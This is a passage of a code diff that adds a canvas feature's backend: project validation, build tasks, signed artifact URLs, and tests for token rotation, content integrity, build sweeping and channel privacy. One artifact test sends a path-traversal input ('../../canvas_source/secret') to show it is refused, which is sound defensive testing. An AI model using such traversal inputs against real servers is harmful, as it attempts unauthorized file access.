diagnostics.append(diagnostic("error", "invalid_entry", f'entryHtml must be "{CANVAS_ENTRY_HTML}"')) + + files = project.get("files") or {} + assets = project.get("assets") or {} + if project.get("entryHtml") not in files: + diagnostics.append(diagnostic("error", "missing_entry", "entryHtml must name a file present in files")) + network_origins = ((project.get("capabilities") or {}).get("network") or {}).get("origins") or [] + if network_origins: + diagnostics.append( + diagnostic("error", "network_origins_not_supported", "capabilities.network.origins must be empty") + ) + if len(files) + len(assets) > limits["maxSourceFiles"]: + diagnostics.append( + diagnostic( + "error", + "too_many_files", + f"a source project may contain at most {limits['maxSourceFiles']} files", + ) + ) + + total_bytes = 0 + for path, content in files.items(): + path_problem = validate_relative_path(path) + if path_problem is not None: + diagnostics.append(diagnostic("error", "invalid_path", path_problem, path=path)) + continue + size = len(content.encode("utf-8")) + total_bytes += size + if size > limits["maxSourceFileBytes"]: + diagnostics.append( + diagnostic( + "error", + "file_too_large", + f"file exceeds the {limits['maxSourceFileBytes'] // 1024} KB per-file limit", + path=path, + ) + ) + for path, asset in assets.items(): + path_problem = validate_relative_path(path) + if path_problem is not None: + diagnostics.append(diagnostic("error", "invalid_path", path_problem, path=path)) + continue + size = (len(asset.get("content", "")) * 3) // 4 + total_bytes += size + if size > limits["maxSourceTotalBytes"]: + diagnostics.append( + diagnostic( + "error", + "file_too_large", + f"asset exceeds the {limits['maxSourceTotalBytes'] // 1024} KB per-file limit", + path=path, + ) + ) + canonical_size = len(json.dumps(project, separators=(",", ":"), sort_keys=True).encode("utf-8")) + if total_bytes > limits["maxSourceTotalBytes"] or canonical_size > limits["maxSourceTotalBytes"]: + diagnostics.append( + diagnostic( + "error", + "project_too_large", + f"the source project exceeds the {limits['maxSourceTotalBytes'] // 1024} KB total size limit", + ) + ) + + pinned_dependencies = platform_dependencies() + for name, version in (project.get("dependencies") or {}).items(): + pinned = pinned_dependencies.get(name) + if pinned is None: + diagnostics.append( + diagnostic( + "error", + "dependency_not_admitted", + f'dependency "{name}" is not platform-supported — supported: ' + + ", ".join(sorted(pinned_dependencies)), + ) + ) + elif version != pinned: + diagnostics.append( + diagnostic( + "error", + "dependency_version_mismatch", + f'dependency "{name}" must be the platform-pinned version {pinned}, got {version}', + ) + ) + + capabilities = project.get("capabilities") or {} + for path, content in files.items(): + if not path.endswith(_CODE_EXTENSIONS) or not isinstance(content, str): + continue + diagnostics.extend(_validate_code_file(path, content)) + diagnostics.extend(_validate_capabilities(path, content, capabilities)) + + return diagnostics diff --git a/products/canvas/backend/tasks.py b/products/canvas/backend/tasks.py new file mode 100644 index 000000000000..d25c163c02df --- /dev/null +++ b/products/canvas/backend/tasks.py @@ -0,0 +1,52 @@ +import structlog +from celery import shared_task + +from posthog.exceptions_capture import capture_exception +from posthog.tasks.utils import CeleryQueue + +logger = structlog.get_logger(__name__) + + +@shared_task( + ignore_result=True, + queue=CeleryQueue.LONG_RUNNING.value, + max_retries=3, + autoretry_for=(Exception,), + retry_backoff=True, + soft_time_limit=300, + time_limit=330, +) +def process_canvas_build(team_id: int, build_id: str) -> None: + """Run one queued canvas build (idempotent — finished builds are a no-op).""" + # Deferred import keeps the service off the Celery import path. + from products.canvas.backend.build_service import run_canvas_build # noqa: PLC0415 + + run_canvas_build(team_id, build_id) + + +@shared_task(ignore_result=True, queue=CeleryQueue.DEFAULT.value) +def sweep_canvas_builds() -> None: + """Recover builds stuck in flight (every 2 minutes).""" + from products.canvas.backend.build_service import sweep_canvas_builds as run_sweep # noqa: PLC0415 + + try: + counts = run_sweep() + if any(counts.values()): + logger.info("canvas_builds_swept", **counts) + except Exception as error: + logger.exception("canvas_build_sweep_failed", error=str(error)) + capture_exception(error, additional_properties={"task": "sweep_canvas_builds"}) + + +@shared_task(ignore_result=True, queue=CeleryQueue.DEFAULT.value) +def cleanup_canvas_builds() -> None: + """Apply the canvas artifact retention policy (daily).""" + from products.canvas.backend.build_service import cleanup_canvas_builds as run_cleanup # noqa: PLC0415 + + try: + pruned = run_cleanup() + if pruned: + logger.info("canvas_builds_pruned", count=pruned) + except Exception as error: + logger.exception("canvas_build_cleanup_failed", error=str(error)) + capture_exception(error, additional_properties={"task": "cleanup_canvas_builds"}) diff --git a/products/canvas/backend/tests/__init__.py b/products/canvas/backend/tests/__init__.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/products/canvas/backend/tests/test_artifact_tokens.py b/products/canvas/backend/tests/test_artifact_tokens.py new file mode 100644 index 000000000000..5bd9aa7947d1 --- /dev/null +++ b/products/canvas/backend/tests/test_artifact_tokens.py @@ -0,0 +1,161 @@ +import time +import hashlib + +from unittest.mock import MagicMock, patch + +from django.core import signing +from django.http import Http404 +from django.test import RequestFactory, SimpleTestCase, override_settings + +from products.canvas.backend.artifacts import ( + ARTIFACT_TOKEN_SALT, + _read_token, + canvas_artifact, + create_canvas_artifact_token, + create_canvas_artifact_url, +) + + +def _claims(**overrides): + # _read_token only accepts a token whose bucket is the current or previous + # one, so mint through the real code path rather than hard-coding a bucket. + return { + "team_id": 1, + "canvas_id": "00000000-0000-0000-0000-000000000001", + "build_id": "00000000-0000-0000-0000-000000000002", + **overrides, + } + + +class TestCanvasArtifactTokens(SimpleTestCase): + @override_settings( + CANVAS_ARTIFACT_SIGNING_KEYS=["new-key-at-least-32-bytes-long", "old-key-at-least-32-bytes-long"] + ) + def test_tokens_rotate_without_invalidating_existing_urls(self) -> None: + # A token signed under a retired key still verifies while that key is in + # the list; new tokens are minted under the first key. + bucket = int(time.time() // 3600) + claims = _claims(bucket=bucket) + old_token = signing.Signer(key="old-key-at-least-32-bytes-long", salt=ARTIFACT_TOKEN_SALT).sign_object( + claims, compress=True + ) + + self.assertEqual(_read_token(old_token), claims) + + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=["key"]) + @patch("products.canvas.backend.artifacts.object_storage.read_bytes", return_value=b"body") + @patch("products.canvas.backend.artifacts.CanvasBuild") + def test_only_manifest_listed_files_are_served(self, canvas_build: MagicMock, read_bytes: MagicMock) -> None: + content = b"body" + build = MagicMock( + artifact_object_prefix="canvas_artifact/team_1/canvas/build", + manifest={ + "assets": [ + { + "path": "index.html", + "contentType": "text/html; charset=utf-8", + "contentHash": hashlib.sha256(content).hexdigest(), + "sizeBytes": len(content), + } + ] + }, + ) + canvas_build.objects.for_team.return_value.filter.return_value.first.return_value = build + token = create_canvas_artifact_token( + MagicMock( + team_id=1, canvas_id="00000000-0000-0000-0000-000000000001", id="00000000-0000-0000-0000-000000000002" + ) + ) + + response = canvas_artifact(RequestFactory().get("/"), token or "", "index.html") + + self.assertEqual(response.content, content) + self.assertEqual(response["Content-Disposition"], "inline") + self.assertEqual(response["X-Content-Type-Options"], "nosniff") + self.assertEqual(response["Content-Security-Policy"].split(";")[0], "sandbox allow-scripts") + with self.assertRaises(Http404): + canvas_artifact(RequestFactory().get("/"), token or "", "source.ts") + read_bytes.assert_called_once() + + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=["key"]) + @patch("products.canvas.backend.artifacts.object_storage.read_bytes", return_value=b"tampered") + @patch("products.canvas.backend.artifacts.CanvasBuild") + def test_corrupt_stored_artifact_is_not_served(self, canvas_build: MagicMock, _read_bytes: MagicMock) -> None: + canvas_build.objects.for_team.return_value.filter.return_value.first.return_value = MagicMock( + artifact_object_prefix="canvas_artifact/team_1/canvas/build", + manifest={ + "assets": [ + { + "path": "index.html", + "contentHash": hashlib.sha256(b"safe").hexdigest(), + "sizeBytes": len(b"safe"), + } + ] + }, + ) + token = create_canvas_artifact_token( + MagicMock( + team_id=1, canvas_id="00000000-0000-0000-0000-000000000001", id="00000000-0000-0000-0000-000000000002" + ) + ) + + with self.assertRaises(Http404): + canvas_artifact(RequestFactory().get("/"), token or "", "index.html") + + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=[]) + def test_artifact_urls_fail_closed_without_signing_keys(self) -> None: + self.assertIsNone(create_canvas_artifact_token(MagicMock())) + + @override_settings( + DEBUG=False, + TEST=False, + CANVAS_ARTIFACT_SIGNING_KEYS=["a-production-signing-key-at-least-32-bytes"], + CANVAS_ARTIFACT_ORIGIN="https://usercontent.example", + ) + def test_production_artifacts_are_not_served_from_the_application_origin(self) -> None: + build = MagicMock(team_id=1, canvas_id="canvas", id="build") + token = create_canvas_artifact_token(build) + + with self.assertRaises(Http404): + canvas_artifact(RequestFactory().get("/", HTTP_HOST="app.example"), token or "", "index.html") + + @override_settings( + DEBUG=True, + TEST=False, + CANVAS_ARTIFACT_SIGNING_KEYS=["a-development-signing-key-at-least-32-bytes"], + CANVAS_ARTIFACT_ORIGIN="https://usercontent.example", + ) + def test_configured_origin_is_enforced_in_debug(self) -> None: + build = MagicMock(team_id=1, canvas_id="canvas", id="build") + token = create_canvas_artifact_token(build) + + with self.assertRaises(Http404): + canvas_artifact(RequestFactory().get("/", HTTP_HOST="app.example"), token or "", "index.html") + + @override_settings( + DEBUG=False, + TEST=False, + CANVAS_ARTIFACT_SIGNING_KEYS=["a-production-signing-key-at-least-32-bytes"], + CANVAS_ARTIFACT_ORIGIN="https://usercontent.example", + ) + def test_production_token_requires_a_valid_origin_and_key(self) -> None: + # A too-short primary key is refused in production (fail closed). + with override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=["too-short"]): + self.assertIsNone(create_canvas_artifact_token(MagicMock())) + # A misconfigured origin (non-https, or carrying a path/credentials) is refused. + with override_settings(CANVAS_ARTIFACT_ORIGIN="http://usercontent.example"): + self.assertIsNone(create_canvas_artifact_token(MagicMock())) + with override_settings(CANVAS_ARTIFACT_ORIGIN="https://usercontent.example/path"): + self.assertIsNone(create_canvas_artifact_token(MagicMock())) + + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=["a-signing-key-at-least-32-bytes-long"]) + def test_url_round_trips_through_read_token(self) -> None: + build = MagicMock( + team_id=1, canvas_id="00000000-0000-0000-0000-000000000001", id="00000000-0000-0000-0000-000000000002" + ) + url = create_canvas_artifact_url(build, "index.html") + self.assertIsNotNone(url) + token = (url or "").split("/canvas-artifacts/")[1].split("/")[0] + claims = _read_token(token) + self.assertEqual(claims["team_id"], 1) + self.assertEqual(claims["canvas_id"], "00000000-0000-0000-0000-000000000001") diff --git a/products/canvas/backend/tests/test_artifacts.py b/products/canvas/backend/tests/test_artifacts.py new file mode 100644 index 000000000000..0ec434918201 --- /dev/null +++ b/products/canvas/backend/tests/test_artifacts.py @@ -0,0 +1,110 @@ +import time +import hashlib + +from posthog.test.base import APIBaseTest +from unittest.mock import patch + +from posthog.models.scoping import team_scope + +from products.canvas.backend import artifacts +from products.canvas.backend.models import Canvas, CanvasBuild, CanvasSourceVersion +from products.tasks.backend.models import Channel + +CONTENT = b"hi" + + +class TestCanvasArtifacts(APIBaseTest): + def setUp(self): + super().setUp() + with team_scope(self.team.id): + channel = Channel.objects.create(team=self.team, name="general") + self.canvas = Canvas.objects.create(team=self.team, channel=channel, name="C") + version = CanvasSourceVersion.objects.create( + team=self.team, + canvas=self.canvas, + source_hash="0" * 64, + source_object_key="canvas_source/test", + source_size=1, + ) + self.content_hash = hashlib.sha256(CONTENT).hexdigest() + self.build = CanvasBuild.objects.create( + team=self.team, + canvas=self.canvas, + source_version=version, + status=CanvasBuild.STATUS_READY, + artifact_object_prefix=f"canvas_artifact/team_{self.team.id}/{self.canvas.id}/x", + manifest={ + "entryHtml": "index.html", + "assets": [ + { + "path": "index.html", + "contentHash": self.content_hash, + "sizeBytes": len(CONTENT), + "contentType": "text/html; charset=utf-8", + } + ], + }, + ) + reader = patch.object(artifacts.object_storage, "read_bytes", return_value=CONTENT) + self.read_bytes = reader.start() + self.addCleanup(reader.stop) + + def _url(self) -> str: + url = artifacts.create_canvas_artifact_url(self.build, "index.html") + assert url is not None + return url.replace("http://localhost:8010", "") + + def test_serves_artifact_with_etag_and_csp(self): + response = self.client.get(self._url()) + assert response.status_code == 200 + assert response.content == CONTENT + assert response["ETag"] == f'"{self.content_hash}"' + assert response["Content-Security-Policy"].startswith("sandbox allow-scripts; default-src 'none'") + assert response["Cache-Control"] == "private, max-age=31536000, immutable" + # The sandboxed iframe's opaque origin fetches module scripts in CORS + # mode; without this the entry bundle is blocked and the canvas + # white-screens. + assert response["Access-Control-Allow-Origin"] == "*" + + def test_revalidation_returns_304_without_reading_storage(self): + url = self._url() + response = self.client.get(url, HTTP_IF_NONE_MATCH=f'"{self.content_hash}"') + assert response.status_code == 304 + assert response["Content-Type"] == "text/html; charset=utf-8" + assert "script-src 'self'" in response["Content-Security-Policy"] + self.read_bytes.assert_not_called() + + def test_url_is_stable_within_a_bucket(self): + assert self._url() == self._url() + + def test_expired_bucket_is_rejected(self): + url = self._url() + two_buckets = artifacts.ARTIFACT_TOKEN_BUCKET_SECONDS * 2 + with patch.object(artifacts.time, "time", return_value=time.time() + two_buckets): + response = self.client.get(url) + assert response.status_code == 404 + + def test_unknown_asset_and_unready_build_404(self): + url = self._url() + assert self.client.get(url.replace("index.html", "other.js")).status_code == 404 + + CanvasBuild.objects.unscoped().filter(id=self.build.id).update(status=CanvasBuild.STATUS_FAILED) + assert self.client.get(url).status_code == 404 + + def test_size_mismatch_404s(self): + self.read_bytes.return_value = CONTENT + b"tampered" + assert self.client.get(self._url()).status_code == 404 + + def test_content_hash_mismatch_404s(self): + self.read_bytes.return_value = b"no" + assert len(self.read_bytes.return_value) == len(CONTENT) + assert self.client.get(self._url()).status_code == 404 + + def test_deleted_canvas_build_404s(self): + Canvas.objects.unscoped().filter(id=self.canvas.id).update(deleted=True) + assert self.client.get(self._url()).status_code == 404 + + def test_object_storage_source_keys_never_serve(self): + # The token only addresses manifest assets; a source key is not one. + url = self._url().replace("index.html", "../../canvas_source/secret") + assert self.client.get(url).status_code == 404 diff --git a/products/canvas/backend/tests/test_build_service.py b/products/canvas/backend/tests/test_build_service.py new file mode 100644 index 000000000000..9136127d0927 --- /dev/null +++ b/products/canvas/backend/tests/test_build_service.py @@ -0,0 +1,303 @@ +import hashlib +from datetime import timedelta + +from posthog.test.base import APIBaseTest +from unittest.mock import patch + +from django.test import override_settings +from django.utils import timezone + +from posthog.models.scoping import team_scope + +from products.canvas.backend import build_service +from products.canvas.backend.models import Canvas, CanvasBuild +from products.canvas.backend.source import synthetic_source_project +from products.canvas.backend.tests.test_canvas_api import InMemoryStorage +from products.tasks.backend.models import Channel + + +def _builder_result(files: dict[str, str], capabilities: dict | None = None) -> dict: + manifest_assets = [] + emitted = [] + for path, content in files.items(): + digest = hashlib.sha256(content.encode()).hexdigest() + manifest_assets.append({"path": path, "contentHash": digest, "sizeBytes": len(content.encode())}) + emitted.append({"path": path, "content": content, "contentHash": digest, "sizeBytes": len(content.encode())}) + return { + "contractVersion": 1, + "status": "ready", + "diagnostics": [], + "files": emitted, + "manifest": { + "entryHtml": "index.html", + "assets": manifest_assets, + "dependencies": {}, + "canvasSdkVersion": "0.1.0", + "capabilities": capabilities + or {"posthog": {"insights": [], "inlineQueries": False, "captureEvents": []}, "network": {"origins": []}}, + }, + } + + +class BuildServiceBaseTest(APIBaseTest): + def setUp(self): + super().setUp() + self.storage = InMemoryStorage() + for attribute in ("write", "read_bytes", "delete_objects"): + patcher = patch.object(build_service.object_storage, attribute, getattr(self.storage, attribute)) + patcher.start() + self.addCleanup(patcher.stop) + enqueue = patch("products.canvas.backend.tasks.process_canvas_build.delay") + self.enqueue = enqueue.start() + self.addCleanup(enqueue.stop) + with team_scope(self.team.id): + self.channel = Channel.objects.create(team=self.team, name="general") + self.canvas = Canvas.objects.create(team=self.team, channel=self.channel, name="C") + + def _publish(self) -> CanvasBuild: + _, _, build, _ = build_service.publish_source_project( + self.canvas, + project=synthetic_source_project("export default function C() { return null }"), + prompt=None, + name=None, + has_expected_version=False, + expected_version_id=None, + task_id=None, + created_by_id=None, + ) + self.canvas.refresh_from_db() + return build + + +class TestRunCanvasBuild(BuildServiceBaseTest): + def test_ready_build_advances_published_pointer(self): + build = self._publish() + with patch.object( + build_service, "run_cloud_builder", return_value=_builder_result({"index.html": ""}) + ): + build_service.run_canvas_build(self.team.id, str(build.id)) + + build.refresh_from_db() + self.canvas.refresh_from_db() + assert build.status == CanvasBuild.STATUS_READY + assert build.artifact_object_prefix + assert self.canvas.published_build_id == build.id + entry_key = f"{build.artifact_object_prefix}/index.html" + assert self.storage.objects[entry_key] == b"" + + def test_stale_head_does_not_advance_pointer(self): + build = self._publish() + second = self._publish() # supersedes the first build, moves the head + with patch.object( + build_service, "run_cloud_builder", return_value=_builder_result({"index.html": ""}) + ): + build_service.run_canvas_build(self.team.id, str(second.id)) + # The first build was superseded (failed) — running it again is a no-op. + build_service.run_canvas_build(self.team.id, str(build.id)) + + self.canvas.refresh_from_db() + assert self.canvas.published_build_id == second.id + + def test_builder_failure_records_diagnostics_and_keeps_pointer(self): + build = self._publish() + with patch.object( + build_service, "run_cloud_builder", return_value=_builder_result({"index.html": ""}) + ): + build_service.run_canvas_build(self.team.id, str(build.id)) + self.canvas.refresh_from_db() + + failing = self._publish() + with patch.object( + build_service, + "run_cloud_builder", + return_value={ + "contractVersion": 1, + "status": "failed", + "diagnostics": [{"severity": "error", "code": "bundle_error", "message": "boom"}], + }, + ): + build_service.run_canvas_build(self.team.id, str(failing.id)) + + failing.refresh_from_db() + self.canvas.refresh_from_db() + assert failing.status == CanvasBuild.STATUS_FAILED + assert failing.diagnostics[0]["code"] == "bundle_error" + assert self.canvas.published_build_id == build.id + + def test_builder_crash_fails_with_generic_unavailable(self): + build = self._publish() + with patch.object(build_service, "run_cloud_builder", side_effect=RuntimeError("node exploded: secret path")): + build_service.run_canvas_build(self.team.id, str(build.id)) + build.refresh_from_db() + assert build.status == CanvasBuild.STATUS_FAILED + assert build.diagnostics[0]["code"] == "build_unavailable" + # Outside DEBUG the diagnostic stays generic: builder stderr is internal. + assert build.diagnostics[0]["message"] == "The canvas build service is unavailable." + + @override_settings(DEBUG=True) + def test_builder_crash_names_the_cause_in_debug(self): + build = self._publish() + with patch.object( + build_service, + "run_cloud_builder", + side_effect=RuntimeError("canvas builder dependencies are not installed — run `npm ci`"), + ): + build_service.run_canvas_build(self.team.id, str(build.id)) + build.refresh_from_db() + assert build.status == CanvasBuild.STATUS_FAILED + assert build.diagnostics[0]["code"] == "build_unavailable" + assert "npm ci" in build.diagnostics[0]["message"] + + def test_finished_build_is_a_noop(self): + build = self._publish() + CanvasBuild.objects.unscoped().filter(id=build.id).update(status=CanvasBuild.STATUS_READY) + build_service.run_canvas_build(self.team.id, str(build.id)) + build.refresh_from_db() + assert build.status == CanvasBuild.STATUS_READY + + def test_finalize_does_not_clobber_a_concurrent_cancel(self): + # The finalize transaction must re-claim the build row before marking it + # READY: a cancel that lands during the long build/upload phase (after the + # claim lock was released) turns the build FAILED/terminal, and the stale + # in-memory object must not flip it back to READY. + build = self._publish() + + original_finalize = build_service._finalize_ready + + def cancel_mid_finalize(*args, **kwargs): + # Simulate the worker losing the row to a cancel between the claim + # (lock released) and the finalize write. + CanvasBuild.objects.unscoped().filter(id=build.id).update( + status=CanvasBuild.STATUS_FAILED, + diagnostics=[{"severity": "warning", "code": "cancelled", "message": "cancelled"}], + finished_at=timezone.now(), + lease_expires_at=None, + ) + return original_finalize(*args, **kwargs) + + with ( + patch.object( + build_service, "run_cloud_builder", return_value=_builder_result({"index.html": ""}) + ), + patch.object(build_service, "_finalize_ready", side_effect=cancel_mid_finalize), + ): + build_service.run_canvas_build(self.team.id, str(build.id)) + + build.refresh_from_db() + self.canvas.refresh_from_db() + assert build.status == CanvasBuild.STATUS_FAILED + assert self.canvas.published_build_id is None + + +class TestSweeper(BuildServiceBaseTest): + def test_lease_expired_building_is_requeued_then_failed(self): + build = self._publish() + CanvasBuild.objects.unscoped().filter(id=build.id).update( + status=CanvasBuild.STATUS_BUILDING, + lease_expires_at=timezone.now() - timedelta(minutes=1), + attempt_count=1, + ) + counts = build_service.sweep_canvas_builds() + assert counts["requeued"] == 1 + build.refresh_from_db() + assert build.status == CanvasBuild.STATUS_QUEUED + + CanvasBuild.objects.unscoped().filter(id=build.id).update( + status=CanvasBuild.STATUS_BUILDING, + lease_expires_at=timezone.now() - timedelta(minutes=1), + attempt_count=build_service.MAX_BUILD_ATTEMPTS, + ) + counts = build_service.sweep_canvas_builds() + assert counts["failed"] == 1 + build.refresh_from_db() + assert build.status == CanvasBuild.STATUS_FAILED + assert build.diagnostics[0]["code"] == "build_lease_expired" + + def test_stale_queued_is_redelivered_then_failed(self): + build = self._publish() + CanvasBuild.objects.unscoped().filter(id=build.id).update( + created_at=timezone.now() - build_service.STALE_QUEUED_REDELIVERY_AFTER - timedelta(minutes=1), + enqueued_at=timezone.now() - build_service.STALE_QUEUED_REDELIVERY_AFTER - timedelta(minutes=1), + ) + self.enqueue.reset_mock() + with self.captureOnCommitCallbacks(execute=True): + counts = build_service.sweep_canvas_builds() + assert counts["redelivered"] == 1 + self.enqueue.assert_called_once_with(self.team.id, str(build.id)) + + CanvasBuild.objects.unscoped().filter(id=build.id).update( + created_at=timezone.now() - build_service.STALE_QUEUED_FAILURE_AFTER - timedelta(minutes=1), + enqueued_at=timezone.now() - build_service.STALE_QUEUED_FAILURE_AFTER - timedelta(minutes=1), + ) + counts = build_service.sweep_canvas_builds() + assert counts["failed"] == 1 + build.refresh_from_db() + assert build.status == CanvasBuild.STATUS_FAILED + + def test_freshly_retried_build_is_not_redelivered(self): + # A retry requeues a FAILED (hence old) build but leaves created_at alone. + # The sweeper must key staleness off when the row was last enqueued, not + # created, or it re-delivers a build a worker was already told about. + build = self._publish() + CanvasBuild.objects.unscoped().filter(id=build.id).update( + status=CanvasBuild.STATUS_FAILED, + created_at=timezone.now() - timedelta(hours=1), + finished_at=timezone.now() - timedelta(minutes=30), + ) + build_service.act_on_build(self.canvas, build.id, "retry") + build.refresh_from_db() + assert build.status == CanvasBuild.STATUS_QUEUED + + self.enqueue.reset_mock() + counts = build_service.sweep_canvas_builds() + assert counts["redelivered"] == 0 + self.enqueue.assert_not_called() + + def test_live_builds_are_untouched(self): + build = self._publish() + CanvasBuild.objects.unscoped().filter(id=build.id).update( + status=CanvasBuild.STATUS_BUILDING, lease_expires_at=timezone.now() + timedelta(minutes=4) + ) + counts = build_service.sweep_canvas_builds() + assert counts == {"requeued": 0, "failed": 0, "redelivered": 0} + + +class TestCleanup(BuildServiceBaseTest): + def test_cleanup_prunes_aged_artifacts_but_keeps_published_and_pinned(self): + published = self._publish() + with patch.object( + build_service, "run_cloud_builder", return_value=_builder_result({"index.html": ""}) + ): + build_service.run_canvas_build(self.team.id, str(published.id)) + self.canvas.refresh_from_db() + + old = timezone.now() - build_service.SUCCESSFUL_BUILD_RETENTION - timedelta(days=1) + # Three more successful builds; the head (published pointer) ends on the + # last one. Age everything, pin one — the prunable remainder is the + # first build and the unpinned non-rollback middle ones. + aged = [published] + for _ in range(3): + build = self._publish() + with patch.object( + build_service, "run_cloud_builder", return_value=_builder_result({"index.html": ""}) + ): + build_service.run_canvas_build(self.team.id, str(build.id)) + aged.append(build) + CanvasBuild.objects.unscoped().filter(id__in=[b.id for b in aged]).update(finished_at=old) + CanvasBuild.objects.unscoped().filter(id=aged[1].id).update(pinned=True) + self.canvas.refresh_from_db() + assert self.canvas.published_build_id == aged[-1].id + + pruned = build_service.cleanup_canvas_builds() + + kept = { + str(b.id) + for b in CanvasBuild.objects.unscoped().filter( + canvas_id=self.canvas.id, artifact_object_prefix__isnull=False + ) + } + assert str(aged[1].id) in kept # pinned + assert str(self.canvas.published_build_id) in kept # live pointer + assert str(aged[2].id) in kept # newest other ready build (instant rollback) + assert str(published.id) not in kept # aged past retention, unprotected + assert pruned == 1 diff --git a/products/canvas/backend/tests/test_canvas_api.py b/products/canvas/backend/tests/test_canvas_api.py new file mode 100644 index 000000000000..eb56dc082e50 --- /dev/null +++ b/products/canvas/backend/tests/test_canvas_api.py @@ -0,0 +1,478 @@ +from typing import Any, cast +from uuid import uuid4 + +from posthog.test.base import APIBaseTest +from unittest.mock import patch + +from rest_framework import status + +from posthog.models.scoping import team_scope + +from products.canvas.backend import build_service +from products.canvas.backend.models import Canvas, CanvasBuild, CanvasSourceVersion +from products.canvas.backend.source import synthetic_source_project +from products.tasks.backend.models import Channel + + +class InMemoryStorage: + """A dict-backed stand-in for posthog.storage.object_storage.""" + + def __init__(self): + self.objects: dict[str, bytes] = {} + + def write(self, key, content, extras=None): + self.objects[key] = content + + def read_bytes(self, key, missing_ok=False): + return self.objects.get(key) + + def delete_objects(self, keys): + for key in keys: + self.objects.pop(key, None) + + +class CanvasAPIBaseTest(APIBaseTest): + def setUp(self): + super().setUp() + self.storage = InMemoryStorage() + for attribute in ("write", "read_bytes", "delete_objects"): + patcher = patch.object(build_service.object_storage, attribute, getattr(self.storage, attribute)) + patcher.start() + self.addCleanup(patcher.stop) + enqueue = patch("products.canvas.backend.tasks.process_canvas_build.delay") + self.enqueue = enqueue.start() + self.addCleanup(enqueue.stop) + with team_scope(self.team.id): + self.channel = Channel.objects.create(team=self.team, name="general", created_by=self.user) + + def _create_canvas(self, **overrides) -> str: + body = {"name": "My canvas", "channel_id": str(self.channel.id), **overrides} + response = self.client.post(f"/api/projects/{self.team.id}/canvases/", body, format="json") + assert response.status_code == status.HTTP_201_CREATED, response.json() + return cast(str, response.json()["id"]) + + def _project(self, code: str = "export default function C() { return null }", **overrides) -> dict[str, Any]: + project = synthetic_source_project(code) + project.update(overrides) + return project + + def _publish(self, canvas_id: str, project: dict | None = None, **payload): + return self.client.post( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/publish/", + {"project": project or self._project(), **payload}, + format="json", + ) + + +class TestCanvasCrud(CanvasAPIBaseTest): + def test_missing_user_only_sees_public_channels(self): + with team_scope(self.team.id): + public = Channel.objects.create(team=self.team, name="public") + personal = Channel.objects.create( + team=self.team, + name="me", + channel_type=Channel.ChannelType.PERSONAL, + created_by=None, + ) + visible_ids = set(Channel.objects.filter(Channel.visible_to_q(None)).values_list("id", flat=True)) + + assert public.id in visible_ids + assert personal.id not in visible_ids + + def test_create_lists_and_filters_by_channel(self): + canvas_id = self._create_canvas() + with team_scope(self.team.id): + other_channel = Channel.objects.create(team=self.team, name="other") + other_id = self._create_canvas(name="Other", channel_id=str(other_channel.id)) + + response = self.client.get(f"/api/projects/{self.team.id}/canvases/?channel={self.channel.id}") + ids = [row["id"] for row in response.json()["results"]] + assert ids == [canvas_id] + + response = self.client.get(f"/api/projects/{self.team.id}/canvases/") + assert {row["id"] for row in response.json()["results"]} == {canvas_id, other_id} + + def test_personal_channel_canvases_are_invisible_to_other_users(self): + # A canvas filed into a teammate's personal channel is private to them: + # list omits it, and every detail/write action 404s for anyone else. + private_channel_id = None + public_canvas_id = self._create_canvas(name="Public canvas") + with team_scope(self.team.id): + private_channel = Channel.objects.create( + team=self.team, + name="me", + channel_type=Channel.ChannelType.PERSONAL, + created_by=self.user, + ) + private_channel_id = str(private_channel.id) + private_canvas = Canvas.objects.create( + team_id=self.team.id, + channel=private_channel, + name="Private canvas", + created_by=self.user, + ) + private_canvas_id = str(private_canvas.id) + + # The owner sees it in list and can read/write it. + response = self.client.get(f"/api/projects/{self.team.id}/canvases/") + ids = {row["id"] for row in response.json()["results"]} + assert {public_canvas_id, private_canvas_id} <= ids + assert self.client.get(f"/api/projects/{self.team.id}/canvases/{private_canvas_id}/").status_code == 200 + assert self.client.get(f"/api/projects/{self.team.id}/canvases/{private_canvas_id}/source/").status_code == 200 + + # A different user on the same team does not. + other_user = self._create_user("teammate@example.com") + self.client.force_login(other_user) + + response = self.client.get(f"/api/projects/{self.team.id}/canvases/") + ids = {row["id"] for row in response.json()["results"]} + assert private_canvas_id not in ids + assert public_canvas_id in ids + + # Filtering by the personal channel id must not leak it either. + response = self.client.get(f"/api/projects/{self.team.id}/canvases/?channel={private_channel_id}") + assert response.json()["results"] == [] + + base = f"/api/projects/{self.team.id}/canvases/{private_canvas_id}" + assert self.client.get(f"{base}/").status_code == 404 + assert self.client.get(f"{base}/source/").status_code == 404 + assert self.client.get(f"{base}/versions/").status_code == 404 + assert self.client.get(f"{base}/builds/").status_code == 404 + assert self.client.patch(f"{base}/", {"name": "Renamed"}, format="json").status_code == 404 + assert self.client.post(f"{base}/publish/", {"project": self._project()}, format="json").status_code == 404 + assert self.client.delete(f"{base}/").status_code == 404 + + def test_create_rejects_unknown_channel(self): + response = self.client.post( + f"/api/projects/{self.team.id}/canvases/", + {"name": "Bad", "channel_id": str(uuid4())}, + format="json", + ) + assert response.status_code == status.HTTP_400_BAD_REQUEST + + def test_home_canvas_is_unique_per_channel(self): + self._create_canvas(name="Home", is_home=True) + response = self.client.post( + f"/api/projects/{self.team.id}/canvases/", + {"name": "Home 2", "channel_id": str(self.channel.id), "is_home": True}, + format="json", + ) + assert response.status_code == status.HTTP_409_CONFLICT + assert response.json()["code"] == "home_canvas_exists" + + response = self.client.get(f"/api/projects/{self.team.id}/canvases/?is_home=true") + assert [row["name"] for row in response.json()["results"]] == ["Home"] + + def test_partial_update_metadata(self): + canvas_id = self._create_canvas() + response = self.client.patch( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/", + {"name": "Renamed", "context": "notes", "pinned": True}, + format="json", + ) + assert response.status_code == status.HTTP_200_OK, response.json() + body = response.json() + assert body["name"] == "Renamed" + assert body["context"] == "notes" + assert body["pinned"] is True + + response = self.client.patch( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/", {"pinned": False}, format="json" + ) + assert response.json()["pinned"] is False + + def test_generation_task_pointer_validates_team(self): + canvas_id = self._create_canvas() + response = self.client.patch( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/", + {"generation_task_id": str(uuid4())}, + format="json", + ) + 